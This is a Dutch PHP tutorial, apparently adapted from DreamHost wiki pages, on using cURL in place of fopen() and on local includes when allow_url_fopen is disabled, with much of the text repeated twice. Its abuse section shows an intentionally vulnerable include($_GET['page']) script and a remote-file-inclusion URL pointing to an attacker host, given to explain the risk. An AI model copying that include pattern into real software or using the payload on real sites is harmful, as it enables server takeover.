Tutorials
fopen(); vervangen door CURL.
Gebruik van CURL ipv fopen(); voor meer veiligheid. Steeds meer hosts maken gebruik van CURL om veiligheidredenen. Voor lokale bestanden gebruiken we daarvoor file_get_contents(); en file_put_contents(); http://wiki.dreamhost.com/index.php/CURL
Pagina 1
cURL in plaats van file_get_contents() en file()
Inhoud
1. Alternatief voor file_get_contents()
2. Alternatief voor fopen()
3. Alles in één eenvoudige classe
4. Zie ook
1. Alternatief voor file_get_contents()
In Plaats Van:
<?php
$file_contents = file_get_contents('http://example.com/');
// display file
echo $file_contents;
?>
Gebruik dit:
<?php
$ch = curl_init();
$timeout = 5; // set to zero for no timeout
curl_setopt ($ch, CURLOPT_URL, 'http://example.com');
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$file_contents = curl_exec($ch);
curl_close($ch);
// display file
echo $file_contents;
?>
2. Alternatief voor file()
In Plaats Van:
<?php
$lines = file('http://example.com/');
// display file line by line
foreach($lines as $line_num => $line) {
echo "Line # {$line_num} : ".htmlspecialchars($line)."<br />\n";
}
?>
Gebruik dit:
<?php
$ch = curl_init();
$timeout = 5; // set to zero for no timeout
curl_setopt ($ch, CURLOPT_URL, 'http://example.com');
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$file_contents = curl_exec($ch);
curl_close($ch);
$lines = array();
$lines = explode("\n", $file_contents);
// display file line by line
foreach($lines as $line_num => $line) {
echo "Line # {$line_num} : ".htmlspecialchars($line)."<br />\n";
}
?>
3. Alles in één eenvoudige classe
Gebruik de volgende classe om het lezen/opslaan van externe bestanden te vereenvoudigen. deze Classe zal automatisch de tijdelijke bestanden die op het eind van uw PHP script gedownload worden verwijderen.
<?php
class downloader {
var $tempFolder;
var $tempFiles = array();
function __destruct () {
foreach ($this->tempFiles as $file) {
unlink($file['temp']);
}
}
function __construct ($temp)
{
$this->tempFolder = $temp;
}
function get ($url) {
array_unshift($this->tempFiles, array(
'extension'=> array_pop(explode('.', $url)),
'original'=> basename($url),
'temp'=> $this->tempFolder . md5(microtime()),
));
$ch = curl_init($url);
$fp = fopen($this->tempFiles[0]['temp'], 'w');
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
fclose($fp);
return $this->tempFiles[0]['temp'];
}
function read ($index = 0) {
return file_get_contents($this->tempFiles[$index]['temp']);
}
function readArray ($index = 0)
{
return file($this->tempFiles[$index]['temp']);
}
function listFiles () {
return $this->tempFiles;
}
function save ($path, $index = 0) {
copy($this->tempFiles[$index]['temp'], (is_dir($path) ? $path . $this->tempFiles[$index]['original'] : $path));
}
}
$d = new downloader('/home/<username>/<temp folder>');
?>
4. Zie Ook
allow_url_fopen
1. Alternatief voor file_get_contents()
2. Alternatief voor fopen()
3. Alles in één eenvoudige classe
4. Zie ook
1. Alternatief voor file_get_contents()
In Plaats Van:
<?php
$file_contents = file_get_contents('http://example.com/');
// display file
echo $file_contents;
?>
Gebruik dit:
<?php
$ch = curl_init();
$timeout = 5; // set to zero for no timeout
curl_setopt ($ch, CURLOPT_URL, 'http://example.com');
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$file_contents = curl_exec($ch);
curl_close($ch);
// display file
echo $file_contents;
?>
2. Alternatief voor file()
In Plaats Van:
<?php
$lines = file('http://example.com/');
// display file line by line
foreach($lines as $line_num => $line) {
echo "Line # {$line_num} : ".htmlspecialchars($line)."<br />\n";
}
?>
Gebruik dit:
<?php
$ch = curl_init();
$timeout = 5; // set to zero for no timeout
curl_setopt ($ch, CURLOPT_URL, 'http://example.com');
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$file_contents = curl_exec($ch);
curl_close($ch);
$lines = array();
$lines = explode("\n", $file_contents);
// display file line by line
foreach($lines as $line_num => $line) {
echo "Line # {$line_num} : ".htmlspecialchars($line)."<br />\n";
}
?>
3. Alles in één eenvoudige classe
Gebruik de volgende classe om het lezen/opslaan van externe bestanden te vereenvoudigen. deze Classe zal automatisch de tijdelijke bestanden die op het eind van uw PHP script gedownload worden verwijderen.
<?php
class downloader {
var $tempFolder;
var $tempFiles = array();
function __destruct () {
foreach ($this->tempFiles as $file) {
unlink($file['temp']);
}
}
function __construct ($temp)
{
$this->tempFolder = $temp;
}
function get ($url) {
array_unshift($this->tempFiles, array(
'extension'=> array_pop(explode('.', $url)),
'original'=> basename($url),
'temp'=> $this->tempFolder . md5(microtime()),
));
$ch = curl_init($url);
$fp = fopen($this->tempFiles[0]['temp'], 'w');
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
fclose($fp);
return $this->tempFiles[0]['temp'];
}
function read ($index = 0) {
return file_get_contents($this->tempFiles[$index]['temp']);
}
function readArray ($index = 0)
{
return file($this->tempFiles[$index]['temp']);
}
function listFiles () {
return $this->tempFiles;
}
function save ($path, $index = 0) {
copy($this->tempFiles[$index]['temp'], (is_dir($path) ? $path . $this->tempFiles[$index]['original'] : $path));
}
}
$d = new downloader('/home/<username>/<temp folder>');
?>
4. Zie Ook
allow_url_fopen
Pagina 2
allow_url_fopen
Bron: DreamHost
De PHP optie allow_url_fopen zou normaal de programeur toelaten een extern bestand te openen, in te voegen of anderzijds een extern bestand te gebruiken, gebruik makend van een URL; eerder dan gebruik te maken van een lokaal bestand. Voor veiligheidsredenen(Vraag me niet welke aub), hebben meerdere Hosts bij het upgraden van hun systemen naar PHP 5, deze optie uitgeschakeld; er bestaat echter wel een alternatief rijk aan mogelijkheden zijnde cURL, en je kan uiteraard ook rond dit probleem door zelf uw eigen versie van PHP te compileren.
Inhoud
1 Server-Side Invoegingen
1.1 Voorbeeld Invoeging
1.2 Verschillen verwerken(en variabelen doorgeven aan ingevoegd bestand)
1.2.1 Voorbeeld
1.3 Flexibiliteit toevoegen
1.4 Het include_path instellen
2 Voorbeeld misbruik
1. Server-Side Invoegingen
Veel ontwikkelaars voegen bestanden in door te verwijzen naar een externe URL, zelfs al staat het bestand binnen het lokaal systeem.
Voorbeeld:
<?php include("http://example.com/includes/example_include.php"); ?>
Met allow_url_fopen uitgeschakeld, zal deze methode dus niet werken. In plaats, moet het bestand ingevoegd worden met een lokaal path, en er zijn drie methodes om dit te doen:
- Door een relatief path te gebruiken, zoals ../includes/example_include.php.
- Door een absoluut path (ook gekend als relatief-tov-root),
zoals /home/username/example.com/includes/example_include.php.
- Door gebruik te maken van de PHP variabele $_SERVER['DOCUMENT_ROOT'],
welke de absolute path naar de root van de server teruggeeft. Deze laatste is bij uitstek de beste (en meest gangbare) oplossing. Het hierna volgende voorbeeld toont de omgevings variabele in aktie:
1.1 Voorbeeld Invoeging
<?php
include($_SERVER'DOCUMENT_ROOT']."/includes/example_include.php");
?>
1.2 Verschillen verwerken (en variabelen doorgeven aan ingevoegd bestand)
Dat de hier voorgestelde alternatieve oplossingen resulteren in een verschillende manier waarop de funktie include() zal behandeld worden is zeker het vermelden waard. Al de alternatieve oplossingen zullen de PHP code teruggeven van de ingevoegde pagina; alhoewel, de nu-niet beschikbare externe URL methode zal het resultaat weergeven van de ingevoegde pagina.
Een resultaat van dit gedrag is dat je geen querystring kan doorgeven gebruik makend van de alternatieve oplossingen. Je definiëerd de variabelen lokaal alvorens de invoeging uit te voeren:
1.2.1 Voorbeeld
Om het effect hiervan te bekomen:
<?php include("http://example.com/includes/example_include.php?var=example"); ?>
Moet je ipv dit het volgende gebruiken:
<?php
$var = "example";
include($_SERVER['DOCUMENT_ROOT']."/includes/example_include.php");
?>
1.3 Flexibiliteit toevoegen
Om een maximale flexibiliteit te bekomen (waneer veelvoudige invoegingen nodig zijn, bijvoorbeeld), kan het eenvoudiger zijn om een variabele te creëren:
<?php
$doc_root = $_SERVER['DOCUMENT_ROOT'];
include("$doc_root/includes/example_include.php");
include("$doc_root/includes/example_include2.php");
include("$doc_root/includes/example_include3.php");
include("$doc_root/includes/example_include4.php");
?>
Nota: De techniek werkt op dezelfde manier ongeacht u gebruik maakt van include() of require().
1.4 Het include_path instellen
Je kan ook expliciet de PHP directive, "include_path", instellen in de vlucht.
<?php
ini_set('include_path', ini_get('include_path').':'.$_SERVER['DOCUMENT_ROOT'].'/includes');
include('example_include.php');
include('example_include2.php');
include('example_include3.php');
include('example_include4.php');
?>
2 Voorbeeld misbruik
Een veel voorkomend gebruik van server-side invoegingen is voor het creërenn van een soort site template. Dikwijls word dmv een query string verschillende inhoud ingevoegd in 1 enkele pagina bestaande uit een hoofding en een voetnoot. Hier is een typisch voorbeeld script:
<?php
$page = ($_GET['page']) ? $_GET['page'] : "default.php";
?>
<html>
<head>
<title>This page is easy to exploit</title>
</head>
<body>
header...
<?php include($page); ?>
footer...
</body>
</html>
De inhoud van de pagina kan gevariëerd worden door een query string toe te voegen aan de URL:
'http://example.com/index.php?page=varied.php'
Als allow_url_fopen geactiveerd is, volstaat het om simpel de waarde van de variabele in de querystring te wijzigen om het systeem te exploiteren:
'http://example.com/index.php?page=http://crackerscum.net/evilscript.txt'
De PHP optie allow_url_fopen zou normaal de programeur toelaten een extern bestand te openen, in te voegen of anderzijds een extern bestand te gebruiken, gebruik makend van een URL; eerder dan gebruik te maken van een lokaal bestand. Voor veiligheidsredenen(Vraag me niet welke aub), hebben meerdere Hosts bij het upgraden van hun systemen naar PHP 5, deze optie uitgeschakeld; er bestaat echter wel een alternatief rijk aan mogelijkheden zijnde cURL, en je kan uiteraard ook rond dit probleem door zelf uw eigen versie van PHP te compileren.
Inhoud
1 Server-Side Invoegingen
1.1 Voorbeeld Invoeging
1.2 Verschillen verwerken(en variabelen doorgeven aan ingevoegd bestand)
1.2.1 Voorbeeld
1.3 Flexibiliteit toevoegen
1.4 Het include_path instellen
2 Voorbeeld misbruik
1. Server-Side Invoegingen
Veel ontwikkelaars voegen bestanden in door te verwijzen naar een externe URL, zelfs al staat het bestand binnen het lokaal systeem.
Voorbeeld:
<?php include("http://example.com/includes/example_include.php"); ?>
Met allow_url_fopen uitgeschakeld, zal deze methode dus niet werken. In plaats, moet het bestand ingevoegd worden met een lokaal path, en er zijn drie methodes om dit te doen:
- Door een relatief path te gebruiken, zoals ../includes/example_include.php.
- Door een absoluut path (ook gekend als relatief-tov-root),
zoals /home/username/example.com/includes/example_include.php.
- Door gebruik te maken van de PHP variabele $_SERVER['DOCUMENT_ROOT'],
welke de absolute path naar de root van de server teruggeeft. Deze laatste is bij uitstek de beste (en meest gangbare) oplossing. Het hierna volgende voorbeeld toont de omgevings variabele in aktie:
1.1 Voorbeeld Invoeging
<?php
include($_SERVER'DOCUMENT_ROOT']."/includes/example_include.php");
?>
1.2 Verschillen verwerken (en variabelen doorgeven aan ingevoegd bestand)
Dat de hier voorgestelde alternatieve oplossingen resulteren in een verschillende manier waarop de funktie include() zal behandeld worden is zeker het vermelden waard. Al de alternatieve oplossingen zullen de PHP code teruggeven van de ingevoegde pagina; alhoewel, de nu-niet beschikbare externe URL methode zal het resultaat weergeven van de ingevoegde pagina.
Een resultaat van dit gedrag is dat je geen querystring kan doorgeven gebruik makend van de alternatieve oplossingen. Je definiëerd de variabelen lokaal alvorens de invoeging uit te voeren:
1.2.1 Voorbeeld
Om het effect hiervan te bekomen:
<?php include("http://example.com/includes/example_include.php?var=example"); ?>
Moet je ipv dit het volgende gebruiken:
<?php
$var = "example";
include($_SERVER['DOCUMENT_ROOT']."/includes/example_include.php");
?>
1.3 Flexibiliteit toevoegen
Om een maximale flexibiliteit te bekomen (waneer veelvoudige invoegingen nodig zijn, bijvoorbeeld), kan het eenvoudiger zijn om een variabele te creëren:
<?php
$doc_root = $_SERVER['DOCUMENT_ROOT'];
include("$doc_root/includes/example_include.php");
include("$doc_root/includes/example_include2.php");
include("$doc_root/includes/example_include3.php");
include("$doc_root/includes/example_include4.php");
?>
Nota: De techniek werkt op dezelfde manier ongeacht u gebruik maakt van include() of require().
1.4 Het include_path instellen
Je kan ook expliciet de PHP directive, "include_path", instellen in de vlucht.
<?php
ini_set('include_path', ini_get('include_path').':'.$_SERVER['DOCUMENT_ROOT'].'/includes');
include('example_include.php');
include('example_include2.php');
include('example_include3.php');
include('example_include4.php');
?>
2 Voorbeeld misbruik
Een veel voorkomend gebruik van server-side invoegingen is voor het creërenn van een soort site template. Dikwijls word dmv een query string verschillende inhoud ingevoegd in 1 enkele pagina bestaande uit een hoofding en een voetnoot. Hier is een typisch voorbeeld script:
<?php
$page = ($_GET['page']) ? $_GET['page'] : "default.php";
?>
<html>
<head>
<title>This page is easy to exploit</title>
</head>
<body>
header...
<?php include($page); ?>
footer...
</body>
</html>
De inhoud van de pagina kan gevariëerd worden door een query string toe te voegen aan de URL:
'http://example.com/index.php?page=varied.php'
Als allow_url_fopen geactiveerd is, volstaat het om simpel de waarde van de variabele in de querystring te wijzigen om het systeem te exploiteren:
'http://example.com/index.php?page=http://crackerscum.net/evilscript.txt'
Reacties
0